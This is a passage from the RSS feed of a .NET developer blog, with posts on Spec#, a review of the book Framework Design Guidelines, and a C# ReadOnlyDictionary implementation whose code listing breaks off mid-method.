                        <description><![CDATA[ I'll repeat <a rel="external" href="http://codebetter.com/blogs/gregyoung/archive/2008/04/28/i-want-spec.aspx" target="_blank" title="Greg Young's weblog - I Want Spec#">Greg Young</a> and <a rel="external" href="http://weblogs.asp.net/fredriknormen/archive/2008/04/29/i-also-want-spec.aspx" target="_blank" title="Fredrik Norm&eacute;n's weblog - I also want Spec#">Fredrik Norm&eacute;n</a> here.<p><a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=30" target="_blank" title=".NET Junkie - Defensive programming, Design by Contract and Spec#">I stated in the past</a> that I really like the idea of Spec#, but even more I like the idea of Spec# being integrated in C# later on. But nontheless&nbsp; I want verifiable&nbsp; software...</p><p style="text-align:center;"><img src="http://www.cuttingedge.it/blogs/steven/images/ilovespecsharptshirt.jpg" style="border:0px solid" title="I Love Spec# T-Shirt" alt="I Love Spec# T-Shirt" class="pivot-image" /></p> ]]></description>
			<guid isPermaLink="false">33@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General</category>
			<pubDate>Tue, 29 Apr 2008 11:40:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Book: Framework Design Guidelines: Conventions, Idioms, and Patterns for Reusable .NET Libraries</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=31</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=31#comm</comments>
                        <description><![CDATA[ It has already been several months since I purchased the book Framework Design Guidelines by Krzysztof Cwalina and Brad Abrams. Since that time it proved itself to be invaluable. When you design or write reusable libraries or are concerned with the quality and usability of your API, this book is for you.<p>The subtitle says it all; <a rel="external" href="http://www.amazon.com/Framework-Design-Guidelines-Conventions-Development/dp/0321246756" target="_blank" title="Amazon.com - Framework Design Guidelines: Conventions, Idioms, and Patterns for Reusable .NET Libraries (Microsoft .NET Development Series) (Hardcover)">this book</a> describes conventions, idioms, and patterns for reusable .NET libraries. It includes the following topics:</p><ul><li><strong>Naming Guidelines.</strong> How to name assemblies, namespaces, types and members;</li><li><strong>Type Design Guidelines.</strong> How to design abstract and static classes, interfaces, structs, enums, and nested types and how to choose between classes, structs, and interfaces;</li><li><strong>Member Design.</strong> How to design properties, constructors, events, fields and parameters;</li><li><strong>Designing for Extensibility.</strong> How to make a framework extensible without painting yourself in a corner;</li><li><strong>Exceptions.</strong> When and how to throw and catch exceptions;</li><li><strong>Usage Guidelines.</strong> How to use arrays, attributes, collections, and usage and caveats of <span class="code">System.</span><span class="type">Object</span>'s common members;</li><li><strong>Common Design Patterns.</strong> Describes a very limited set of patterns that are used frequently in the .NET framework, like the async and dispose patterns.</li></ul><p>The book&rsquo;s guidelines consist of 487 do, consider, avoid, and do not recommendations. Here are four examples of the book&rsquo;s advice.</p><table border="0"><tbody><tr valign="top"><td valign="top"><img style="border: 0px none " src="/blogs/steven/images/v.gif" alt="" /><br /></td><td><strong>DO</strong> validate arguments passed to public, protected, or explicitly implemented members. Throw <span class="code">System.</span><span class="type">ArgumentException</span>, or one of its subclasses, if the validation fails.</td></tr><tr><td valign="top"><img style="border: 0px none " src="/blogs/steven/images/v.gif" alt="" /></td><td><strong>CONSIDER</strong> providing simple, ideally default, constructors.</td></tr><tr><td valign="top"><img style="border: 0px none " src="/blogs/steven/images/x.gif" alt="" /></td><td><strong>AVOID</strong> implementing interface members explicitly without having a strong reason to do so.</td></tr><tr><td valign="top"><img style="border: 0px none " src="/blogs/steven/images/x.gif" alt="" /></td><td><strong>DO NOT</strong> make members virtual unless you have a good reason to do so and you are aware of all the costs related to designing, testing, and maintaining virtual members.</td></tr></tbody></table><p>I found this book very easy to read with it's clear do and don't guidance. I especially loved the comments by experts like <a rel="external" href="http://en.wikipedia.org/wiki/Anders_Hejlsberg" target="_blank" title="Anders Hejlsberg (Wikipedia)">Anders Hejlsberg</a>, <a rel="external" href="http://blogs.msdn.com/ericgu/" target="_blank" title="Eric Gunnerson's weblog">Eric Gunnerson</a>, <a rel="external" href="http://blogs.msdn.com/ricom/" target="_blank" title="Rico Mariani's weblog">Rico Mariani</a>, <a rel="external" href="http://www.bluebytesoftware.com/blog/Default.aspx" target="_blank" title="Joe Duffy's Weblog">Joe Duffy</a>, and many more. These notes stick out like yellow Post-its with comments on almost every guideline in the book. In these comments the annotators not only describe the how and why of the guidelines, but also admit to design flaws in the .NET framework itself. But please don&rsquo;t be misled. The book doesn&rsquo;t talk about the base class library (BCL), doesn&rsquo;t tell you how to improve the quality of your code, and doesn&rsquo;t dictate how to case your private class members and where to place curly braces. It focuses on design issues that directly affect the programmability of a framework.</p><p>The book made me much more conscious of the way I design my classes. While I&rsquo;m mostly writing application code instead of reusable frameworks, I believe it still is extremely important that code communicates it&rsquo;s intend and that programmers using your classes are able to write really simple, readable and safe code. The quality of my design has improved significantly over the last half year because of this book. After my good personal experiences with the book I recently advised my team, in a meeting about code conventions, to strictly follow the <em>Framework Design Guidelines</em>. As a result a summary of the book is now one of the leading documents in the teams coding conventions.</p><p>In my opinion every .NET development team should own at least one copy of this book and review code using this book as guidance. However, the book does not replace your in-company coding guidelines. Like I said, the book doesn&rsquo;t dictate coding guidelines. Nevertheless, this book is the foundation your company's guidelines should refer to. (Another useful book that might help writing your in-house guidelines is <em><a rel="external" href="http://www.amazon.com/gp/product/0735619670/sr=1-1/qid=1156801743/ref=sr_1_1/104-6313703-3867159?ie=UTF8&amp;s=books" target="_blank" title="Amazon books: Code Complete: A Practical Handbook of Software Construction (Paperback)">Code Complete, Second Edition</a></em> by <a rel="external" href="http://stevemcconnell.com/" target="_blank" title="Steve McConnell's website">Steve McConnell</a>).</p><p>While <em>Framework Design Guidelines</em> doesn't dictate a coding style it contains an appendix in which the writers suggest C# coding style conventions. In contrast with the great guidelines in the book, these suggestions seem very odd to me. The suggested coding style is quite different from the default style used by Microsoft and the formatting within Visual Studio. One of the writers, <a rel="external" href="http://blogs.msdn.com/brada/" target="_blank" title="Brad Abrams' Blog">Brad Abrams</a>, published <a rel="external" href="http://blogs.msdn.com/brada/articles/361363.aspx" target="_blank" title="Internal Coding Guidelines at Brad Abrams' blog">C# guidelines</a> on his blog complying with &lsquo;the standards&rsquo; rather than the suggestions in his book, making the style used in the appendix even more queer. So, in style with the book&rsquo;s guidelines I can recommend the following:</p><table border="0"><tbody><tr valign="top"><td valign="top"><img style="border: 0px none " src="/blogs/steven/images/x.gif" alt="" /></td><td><strong>AVOID</strong> using the suggested C# coding style conventions given by Framework Design Guidelines.<br /></td></tr></tbody></table><p>A very well-considered guideline I can recommend is the <a rel="external" href="http://www.idesign.net/idesign/download/IDesign%20CSharp%20Coding%20Standard.zip" target="_blank" title="IDesign C# Coding Standard zipfile">IDesign C# Coding Standard</a> by a company called <a rel="external" href="http://www.idesign.net" target="_blank" title="IDesign">IDesign</a>.</p><table border="0"><tbody><tr valign="top"><td valign="top"><img style="border: 0px none " src="/blogs/steven/images/v.gif" alt="" /></td><td><strong>CONSIDER</strong> using the IDesign C# Coding Standard.<br /></td></tr></tbody></table><p> What I also recommend is watching two videos of <a rel="external" href="http://blogs.msdn.com/kcwalina" target="_blank" title="Krzysztof Cwalina's blog">Krzysztof Cwalina</a> about framework design. The <a rel="external" href="http://www.researchchannel.org/prog/displayevent.aspx?rID=11087&amp;fID=2740" target="_blank" title="MSR Technical Education Series: Designing .NET Class Libraries video">first video</a> is a three hours lecture held in January 2007 at <a rel="external" href="http://research.microsoft.com/" target="_blank" title="Microsoft Research Center">Microsoft Research Center</a>. Krzysztof basically summarizes <em>Framework Design Guidelines</em> while giving interesting anecdotes. The <a rel="external" href="http://download.microsoft.com/download/b/d/1/bd133733-9647-445f-bc06-238ae9c0dd48/FrameworkEngineering.wmv" target="_blank" title="Framework Engineering: Architecting, Designing, and Developing Reusable Libraries video">second video</a> is a presentation from <a rel="external" href="http://www.microsoft.com/australia/teched07/index.aspx" target="_blank" title="TechEd 2007">TechEd 2007</a> last November. This presentation gives a broader look at the processes that affect the design of frameworks. In this video Cwalina proposes some interesting guidelines, such as:</p><ul><li>Manage your assembly and type dependencies;</li><li>Keep abstractions (abstract types etc.) as simple as possible;</li><li>Design a type as either a primitive, an abstraction or a library. Do not mix;</li><li>Balance advances with compatibility, because breaking changes to frameworks can't be taken lightly, and:</li><li>Avoid duplication and overlap.</li></ul><p>A good example of the content you might find in <em>Framework Design Guidelines</em> is the <em><a rel="external" href="http://www.bluebytesoftware.com/blog/PermaLink.aspx?guid=88e62cdf-5919-4ac7-bc33-20c06ae539ae" target="_blank" title="Joe Duffy's blog: Dispose, Finalization, and Resource Management">Dispose, Finalization, and Resource Management guideline</a></em> on Joe Duffy's blog. It contains a guideline that's much more complete (and advanced) than the one you'll find in <em>Framework Design Guidelines</em>, but it gives you a clear indication of the book's writing style with it's do's, don'ts and annotations.</p><p>Recently Krzysztof and Brad <a rel="external" href="http://blogs.msdn.com/kcwalina/archive/2008/01/03/FrameworkDesignGuidelines2ndEdition.aspx" target="_blank" title="Krzysztof Cwalina's weblog: Framework Design Guidelines 2nd Edition">announced</a> <a rel="external" href="http://blogs.msdn.com/brada/archive/2008/01/03/framework-design-guidelines-2nd-edition-in-the-works.aspx" target="_blank" title="Brad Abrams' weblog: Framework Design Guidelines 2nd Edition In the works!">working</a> on a second edition of <em>Framework Design Guidelines</em>. This second edition is planned to be published around the end of 2008. But you can't afford to wait that long before reading these guidelines, seriously!</p><table border="0"><tbody><tr valign="top"><td valign="top"><img style="border: 0px none " src="/blogs/steven/images/v.gif" alt="" /></td><td><strong>DO</strong> buy this book for your team or yourself.</td></tr></tbody></table><p style="text-align:center;"><img src="http://www.cuttingedge.it/blogs/steven/images/frameworkdesignguidelinescover.jpg" style="border:0px solid" title="Cover of Framework Design Guidelines" alt="Cover of Framework Design Guidelines" class="pivot-image" /></p> ]]></description>
			<guid isPermaLink="false">31@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, Books</category>
			<pubDate>Sun, 10 Feb 2008 18:45:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Defensive programming, Design by Contract and Spec#</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=30</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=30#comm</comments>
                        <description><![CDATA[ <p><a rel="external" href="http://weblogs.asp.net/fredriknormen/default.aspx">Fredrik Norm&eacute;n</a> recently wrote an article about &quot;<a rel="external" href="http://weblogs.asp.net/fredriknormen/archive/2007/11/28/defensive-programming-and-design-by-contract-on-a-routine-level.aspx">Defensive programming and Design by Contract on a routine level</a>&quot; and I can't agree with him more. I'm a true believer in the defensive programming style he describes. Like Fredrik, I'm very interested in the development of Microsoft's <a rel="external" href="http://research.microsoft.com/SpecSharp/papers/krml136.pdf">Spec#</a> language that's currently developed by Microsoft Research. Perhaps Spec# <a rel="external" href="http://codebetter.com/blogs/gregyoung/archive/2007/11/21/spec-coming-soon-to-a-framework-near-you.aspx">will RTM soon</a>, but I actually doubt it.</p><p>I really like the idea of Spec#, but much more I'd like Spec# to be integrated in C# later on. C# is the preferred language in many software projects I work on and will be working on in the future. Convincing other programmers and management to use a more scientific language like Spec# will be hard.</p><p>The first Spec# feature that's on my C# list is the 'nullity discrimination' with the very intuitive T! syntax. A quote from the Spec# docs:</p><blockquote>Many errors in modern programs manifest themselves as null-dereference errors, suggesting the importance of a programming language providing the ability to discriminate between expressions that may evaluate to null and those that are sure not to (for some experimental evidence, see [24, 22]). In fact, we would like to eradicate all null-dereference errors.<br /><br />We have opted to add type support for nullity discrimination to Spec#, because we think types offer the easiest way for programmers to take advantage of nullity distinctions. Backward compatibility with C# dictates that a C# reference type T denote a possibly-null type in Spec# and that the corresponding non-null type get a new syntax, which in Spec# we have chosen to be T!. [<a rel="external" href="http://research.microsoft.com/SpecSharp/papers/krml136.pdf">-&gt;</a>]</blockquote></p> ]]></description>
			<guid isPermaLink="false">30@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#</category>
			<pubDate>Wed, 28 Nov 2007 22:50:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>ReadOnlyDictionary</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=29</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=29#comm</comments>
                        <description><![CDATA[ This article describes an implementation of a ReadOnlyDictionary &lt;TKey, TValue&gt; that's missing from the .NET framework.<p><font color="#FF0000"><strong>UPDATE 2012-06-05</strong>: .NET 4.5 will (<a rel="external" href="http://msdn.microsoft.com/en-us/magazine/jj133817.aspx" title="What&rsquo;s New in the .NET 4.5 Base Class Library">finally finally!!</a>) contain a ReadOnlyDictionary&lt;TKey, TValue&gt;, which will make this post (that has long be my top most googled article) finally redundant. If you're still developing under .NET 4.0 or below, please read on.</font> </p><p><span style="color: red">UPDATE 2013-04-11:</span><br /><font color="#000000"><font color="#000000">Software license notice</font><font color="#000000">: </font>I previously released this under the MIT license, but decided to change this. </font><font color="#000000">The source code presented in this post is released as 'public domain'. This means that you can do whatever you want with it, no need to tell anyone about it, but don't blame me if shit hits the fan.</font></p><p>I always wondered why Microsoft didn't add a <span class="type">ReadOnlyDictionary</span> class in the <span class="code">System.Collections.Generic</span> or <span class="code">System.Collections.ObjectModel</span> namespace. I'm <a rel="external" href="http://www.thescripts.com/forum/thread506641.html" target="_blank" title="TheScripts.com - Newsgroup Archive - Missing ReadOnlyDictionary&lt;&gt;?">not</a> <a rel="external" href="http://johan.andersson.net/blog/2007/10/readonlydictionary.html" target="_blank" title="Blog: Mr Andersson - ReadOnlyDictionary">alone</a>. This feature request has been posted at least <a rel="external" href="http://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=94358" target="_blank" title="Microsoft Connect Feedback - Add a ReadOnlyKeyedCollection class to System.Collections.ObjectModel">twice</a> <a rel="external" href="http://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=276556" target="_blank" title="Microsoft Connect Feedback - ReadOnlyDictionary&lt;K,V&gt;">on</a> the Microsoft Connect feedback website and many people decided to write <a rel="external" href="http://www.koders.com/csharp/fidD6173E9CA777A0CB3BDF5B4F77F6DDFC835C6E6B.aspx" target="_blank" title="Koders -  ReadOnlyDictionary.cs">their</a> <a rel="external" href="http://www.simple-talk.com/community/forums/thread/2263.aspx" target="_blank" title="Simple-talk - Anyone know how to create a read-only generic dictionary?">own</a> <a rel="external" href="http://ralinx.wordpress.com/2007/09/23/read-only-generic-dictionary/" target="_blank" title="Davy Brion&rsquo;s Blog - Read-Only Generic Dictionary">implementation</a>.<br /><br />None of the implementations I found on the internet appealed to me. The two biggest problems I had with them where that they weren't actually read-only and didn't implement interface members explicitly. The latter complicates the use of the dictionary unnecessarily while using it through IntelliSense.</p><p>While I could try to fix one of those implementations, I decided to write my own and looked closely at the <span class="type">Dictionary</span><span class="code">&lt;TKey, TValue&gt;</span> and <span class="type">ReadOnlyCollection</span><span class="code">&lt;T&gt;</span> implementations that already were in the framework. In the code below you'll see that the implementation is rather straight forward. I've implemented the correct interfaces, with most methods explicitly and I wrapped a <span class="type">Dictionary</span><span class="code">&lt;TKey, TValue&gt;</span> internally. The internal dictionary is a copy of the provided constructor argument. This last point is rather important, because the other implementations I saw didn't make such a copy, allowing you to change the read-only dictionary after creation by using a reference to the original dictionary. Last but not least is the implementation of a <span class="type">ReadOnlyDictionaryDebugView</span> class that helps you display the dictionary during debugging.<br /><br /><span style="color: red">UPDATE 2008-03-02:</span><br />Looking once more at .NET&rsquo;s <span class="type">ReadOnlyCollection</span><span class="code">&lt;T&gt;</span> implementation, I noticed that the implementation doesn&rsquo;t make a copy of the supplied collection; it simply wraps it! After giving it some thought, it made a lot of sense to me. By wrapping the original collection, the read-only collection copies the original collection&rsquo;s <u>behavior</u>. Copying the behavior is important, because otherwise you would end up creating a read-only version of each and every type implementing <span class="type">ICollection</span> or <span class="type">IDictionary</span> for which you&rsquo;d like to have a read-only wrapper, simply because each type possibly behaves differently.<br /><br />For the <span class="type">ReadOnlyDictionary</span><span class="code">&lt;TKey, TValue&gt;</span> it is even clearer. Whether the dictionary contains a key or not, is determined by how equality is defined for type <span class="code">TKey</span>. I already noticed this behavioral problem in my original implementation, which is why I included a constructor with an <span class="type">IEqualityComparer</span><span class="code">&lt;TKey&gt;</span> argument. But this simply isn&rsquo;t enough, because supplying an <span class="type">IEqualityComparer</span><span class="code">&lt;TKey&gt;</span> is possibly not suitable for every dictionary implementation. Remember that we expect an <span class="type">IDictionary</span><span class="code">&lt;TKey, TValue&gt;</span> to be given by the user, so there actually isn&rsquo;t that much we know about the implementation of the supplied object. <br /><br />My conclusion is that copying the supplied dictionary is actually a design flaw. The only reasonable thing  the <span class="type">ReadOnlyDictionary</span> can do is to wrap the given dictionary. This however leads to an implementation that is not truly read-only, but so is the framework&rsquo;s <span class="type">ReadOnlyCollection</span> implementation. Therefore we shift the responsibility for this to the user of our implementation.</p><p><span style="color: red">UPDATE 2010-05-20:</span><br />I updated the formatting and XML comments in a way that StyleCop likes it.</p><p><span style="color: red">UPDATE 2011-03-22:</span><br />Jacek noted correctly in the comments that the <span class="type">ReadOnlyDictionary</span> made the assumption that the wrapped dictionary always implemented the old non-generic <span class="type">ICollection</span> and <span class="type">IDictionary</span> interfaces. While most types in the framework that implement IDictionary&lt;TKey, TValue&gt; also implement <span class="type">ICollection</span> and <span class="type">IDictionary</span>, not all types do, and more importantly, types simply don't have to. To fix this, I had to remove the <span class="type">IDictionary</span><span class="code"> interface from the</span> ReadOnlyDictionary. It still implements <span class="type">ICollection</span> though.</p><p>Here is my (corrected) <span class="type">ReadOnlyDictionary</span><span class="code">&lt;TKey, TValue&gt;</span> implementation.</p><pre class="cs" language="csharp" customtypes="Serializable DebuggerDisplay ComVisible DebuggerTypeProxy ReadOnlyDictionaryDebugView ReadOnlyDictionary IDictionary Dictionary IEnumerable IEnumerator KeyValuePair ICollection NonSerialized ArgumentNullException IEqualityComparer IDictionaryEnumerator Array NotSupportedException DebuggerBrowsable DebuggerBrowsableState Interlocked">using System;<br />using System.Collections;<br />using System.Collections.Generic;<br />using System.Diagnostics;<br />using System.Runtime.InteropServices;<br />using System.Threading;<br /><br /> /// &lt;summary&gt;<br /> /// Provides the base class for a generic read-only dictionary.<br /> /// &lt;/summary&gt;<br /> /// &lt;typeparam name=&quot;TKey&quot;&gt;<br /> /// The type of keys in the dictionary.<br /> /// &lt;/typeparam&gt;<br /> /// &lt;typeparam name=&quot;TValue&quot;&gt;<br /> /// The type of values in the dictionary.<br /> /// &lt;/typeparam&gt;<br /> /// &lt;remarks&gt;<br /> /// &lt;para&gt;<br /> /// An instance of the &lt;b&gt;ReadOnlyDictionary&lt;/b&gt; generic class is<br /> /// always read-only. A dictionary that is read-only is simply a<br /> /// dictionary with a wrapper that prevents modifying the<br /> /// dictionary; therefore, if changes are made to the underlying<br /> /// dictionary, the read-only dictionary reflects those changes. <br /> /// See &lt;see cref=&quot;Dictionary{TKey,TValue}&quot;/&gt; for a modifiable version of <br /> /// this class.<br /> /// &lt;/para&gt;<br /> /// &lt;para&gt;<br /> /// &lt;b&gt;Notes to Implementers&lt;/b&gt; This base class is provided to <br /> /// make it easier for implementers to create a generic read-only<br /> /// custom dictionary. Implementers are encouraged to extend this<br /> /// base class instead of creating their own. <br /> /// &lt;/para&gt;<br /> /// &lt;/remarks&gt;<br />[Serializable]<br />[DebuggerDisplay(&quot;Count = {Count}&quot;)]<br />[ComVisible(false)]<br />[DebuggerTypeProxy(typeof(ReadOnlyDictionaryDebugView&lt;,&gt;))]<br />public class ReadOnlyDictionary&lt;TKey, TValue&gt; : IDictionary&lt;TKey, TValue&gt;,<br />    ICollection<br />{<br />    private readonly IDictionary&lt;TKey, TValue&gt; source;<br />    private object syncRoot;<br /><br />    /// &lt;summary&gt;<br />    /// Initializes a new instance of the<br />    /// &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot; /&gt; class that wraps<br />    /// the supplied &lt;paramref name=&quot;dictionaryToWrap&quot;/&gt;.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;dictionaryToWrap&quot;&gt;The &lt;see cref=&quot;T:IDictionary`2&quot; /&gt;<br />    /// that will be wrapped.&lt;/param&gt;<br />    /// &lt;exception cref=&quot;T:System.ArgumentNullException&quot;&gt;<br />    /// Thrown when the dictionary is null.<br />    /// &lt;/exception&gt;<br />    public ReadOnlyDictionary(IDictionary&lt;TKey, TValue&gt; dictionaryToWrap)<br />    {<br />        if (dictionaryToWrap == null)<br />        {<br />            throw new ArgumentNullException(&quot;dictionaryToWrap&quot;);<br />        }<br /><br />        this.source = dictionaryToWrap;<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Gets the number of key/value pairs contained in the<br />    /// &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot;&gt;&lt;/see&gt;.<br />    /// &lt;/summary&gt;<br />    /// &lt;value&gt;The number of key/value pairs.&lt;/value&gt;<br />    /// &lt;returns&gt;The number of key/value pairs contained in the<br />    /// &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot;&gt;&lt;/see&gt;.&lt;/returns&gt;<br />    public int Count<br />    {<br />        get { return this.source.Count; }<br />    }<br /><br />    /// &lt;summary&gt;Gets a collection containing the keys in the<br />    /// &lt;see cref=&quot;T:ReadOnlyDictionary{TKey,TValue}&quot;&gt;&lt;/see&gt;.&lt;/summary&gt;<br />    /// &lt;value&gt;A &lt;see cref=&quot;Dictionary{TKey,TValue}.KeyCollection&quot;/&gt; <br />    /// containing the keys.&lt;/value&gt;<br />    /// &lt;returns&gt;A<br />    /// &lt;see cref=&quot;Dictionary{TKey,TValue}.KeyCollection&quot;/&gt;<br />    /// containing the keys in the<br />    /// &lt;see cref=&quot;Dictionary{TKey,TValue}&quot;&gt;&lt;/see&gt;.<br />    /// &lt;/returns&gt;<br />    public ICollection&lt;TKey&gt; Keys<br />    {<br />        get { return this.source.Keys; }<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Gets a collection containing the values of the<br />    /// &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot;/&gt;.<br />    /// &lt;/summary&gt;<br />    /// &lt;value&gt;The collection of values.&lt;/value&gt;<br />    public ICollection&lt;TValue&gt; Values<br />    {<br />        get { return this.source.Values; }<br />    }<br /><br />    /// &lt;summary&gt;Gets a value indicating whether the dictionary is read-only.<br />    /// This value will always be true.&lt;/summary&gt;<br />    bool ICollection&lt;KeyValuePair&lt;TKey, TValue&gt;&gt;.IsReadOnly<br />    {<br />        get { return true; }<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Gets a value indicating whether access to the dictionary<br />    /// is synchronized (thread safe).<br />    /// &lt;/summary&gt;<br />    bool ICollection.IsSynchronized<br />    {<br />        get { return false; }<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Gets an object that can be used to synchronize access to dictionary.<br />    /// &lt;/summary&gt;<br />    object ICollection.SyncRoot<br />    {<br />        get<br />        {<br />            if (this.syncRoot == null)<br />            {<br />                ICollection collection = this.source as ICollection;<br /><br />                if (collection != null)<br />                {<br />                    this.syncRoot = collection.SyncRoot;<br />                }<br />                else<br />                {<br />                    Interlocked.CompareExchange(ref this.syncRoot, new object(), null);<br />                }<br />            }<br /><br />            return this.syncRoot;<br />        }<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Gets or sets the value associated with the specified key.<br />    /// &lt;/summary&gt;<br />    /// &lt;returns&gt;<br />    /// The value associated with the specified key. If the specified key<br />    /// is not found, a get operation throws a <br />    /// &lt;see cref=&quot;T:System.Collections.Generic.KeyNotFoundException&quot; /&gt;,<br />    /// and a set operation creates a new element with the specified key.<br />    /// &lt;/returns&gt;<br />    /// &lt;param name=&quot;key&quot;&gt;The key of the value to get or set.&lt;/param&gt;<br />    /// &lt;exception cref=&quot;T:System.ArgumentNullException&quot;&gt;<br />    /// Thrown when the key is null.<br />    /// &lt;/exception&gt;<br />    /// &lt;exception cref=&quot;T:System.Collections.Generic.KeyNotFoundException&quot;&gt;<br />    /// The property is retrieved and key does not exist in the collection.<br />    /// &lt;/exception&gt;<br />    public TValue this[TKey key]<br />    {<br />        get { return this.source[key]; }<br />        set { ThrowNotSupportedException(); }<br />    }<br /><br />    /// &lt;summary&gt;This method is not supported by the <br />    /// &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot;/&gt;.&lt;/summary&gt;<br />    /// &lt;param name=&quot;key&quot;&gt;<br />    /// The object to use as the key of the element to add.&lt;/param&gt;<br />    /// &lt;param name=&quot;value&quot;&gt;<br />    /// The object to use as the value of the element to add.&lt;/param&gt;<br />    void IDictionary&lt;TKey, TValue&gt;.Add(TKey key, TValue value)<br />    {<br />        ThrowNotSupportedException();<br />    }<br /><br />    /// &lt;summary&gt;Determines whether the &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot; /&gt;<br />    /// contains the specified key.&lt;/summary&gt;<br />    /// &lt;returns&gt;<br />    /// True if the &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot; /&gt; contains<br />    /// an element with the specified key; otherwise, false.<br />    /// &lt;/returns&gt;<br />    /// &lt;param name=&quot;key&quot;&gt;The key to locate in the<br />    /// &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot;&gt;&lt;/see&gt;.&lt;/param&gt;<br />    /// &lt;exception cref=&quot;T:System.ArgumentNullException&quot;&gt;<br />    /// Thrown when the key is null.<br />    /// &lt;/exception&gt;<br />    public bool ContainsKey(TKey key)<br />    {<br />        return this.source.ContainsKey(key);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// This method is not supported by the &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot;/&gt;.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;key&quot;&gt;The key of the element to remove.&lt;/param&gt;<br />    /// &lt;returns&gt;<br />    /// True if the element is successfully removed; otherwise, false.<br />    /// &lt;/returns&gt;<br />    bool IDictionary&lt;TKey, TValue&gt;.Remove(TKey key)<br />    {<br />        ThrowNotSupportedException();<br />        return false;<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Gets the value associated with the specified key.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;key&quot;&gt;The key of the value to get.&lt;/param&gt;<br />    /// &lt;param name=&quot;value&quot;&gt;When this method returns, contains the value<br />    /// associated with the specified key, if the key is found;<br />    /// otherwise, the default value for the type of the value parameter.<br />    /// This parameter is passed uninitialized.&lt;/param&gt;<br />    /// &lt;returns&gt;<br />    /// &lt;b&gt;true&lt;/b&gt; if the &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot; /&gt; contains<br />    /// an element with the specified key; otherwise, &lt;b&gt;false&lt;/b&gt;.<br />    /// &lt;/returns&gt;<br />    public bool TryGetValue(TKey key, out TValue value)<br />    {<br />        return this.source.TryGetValue(key, out value);<br />    }<br /><br />    /// &lt;summary&gt;This method is not supported by the<br />    /// &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot;/&gt;.&lt;/summary&gt;<br />    /// &lt;param name=&quot;item&quot;&gt;<br />    /// The object to add to the &lt;see cref=&quot;T:ICollection`1&quot;/&gt;.<br />    /// &lt;/param&gt;<br />    void ICollection&lt;KeyValuePair&lt;TKey, TValue&gt;&gt;.Add(<br />        KeyValuePair&lt;TKey, TValue&gt; item)<br />    {<br />        ThrowNotSupportedException();<br />    }<br /><br />    /// &lt;summary&gt;This method is not supported by the <br />    /// &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot;/&gt;.&lt;/summary&gt;<br />    void ICollection&lt;KeyValuePair&lt;TKey, TValue&gt;&gt;.Clear()<br />    {<br />        ThrowNotSupportedException();<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Determines whether the &lt;see cref=&quot;T:ICollection`1&quot;/&gt; contains a<br />    /// specific value.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;item&quot;&gt;<br />    /// The object to locate in the &lt;see cref=&quot;T:ICollection`1&quot;/&gt;.<br />    /// &lt;/param&gt;<br />    /// &lt;returns&gt;<br />    /// &lt;b&gt;true&lt;/b&gt; if item is found in the &lt;b&gt;ICollection&lt;/b&gt;; <br />    /// otherwise, &lt;b&gt;false&lt;/b&gt;.<br />    /// &lt;/returns&gt;<br />    bool ICollection&lt;KeyValuePair&lt;TKey, TValue&gt;&gt;.Contains(<br />        KeyValuePair&lt;TKey, TValue&gt; item)<br />    {<br />        ICollection&lt;KeyValuePair&lt;TKey, TValue&gt;&gt; collection = this.source;<br /><br />        return collection.Contains(item);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Copies the elements of the ICollection to an Array, starting at a<br />    /// particular Array index. <br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;array&quot;&gt;The one-dimensional Array that is the<br />    /// destination of the elements copied from ICollection.<br />    /// The Array must have zero-based indexing.<br />    /// &lt;/param&gt;<br />    /// &lt;param name=&quot;arrayIndex&quot;&gt;<br />    /// The zero-based index in array at which copying begins.<br />    /// &lt;/param&gt;<br />    void ICollection&lt;KeyValuePair&lt;TKey, TValue&gt;&gt;.CopyTo(<br />        KeyValuePair&lt;TKey, TValue&gt;[] array, int arrayIndex)<br />    {<br />        ICollection&lt;KeyValuePair&lt;TKey, TValue&gt;&gt; collection = this.source;<br />        collection.CopyTo(array, arrayIndex);<br />    }<br /><br />    /// &lt;summary&gt;This method is not supported by the<br />    /// &lt;see cref=&quot;T:ReadOnlyDictionary`2&quot;/&gt;.&lt;/summary&gt;<br />    /// &lt;param name=&quot;item&quot;&gt;<br />    /// The object to remove from the ICollection.<br />    /// &lt;/param&gt;<br />    /// &lt;returns&gt;Will never return a value.&lt;/returns&gt;<br />    bool 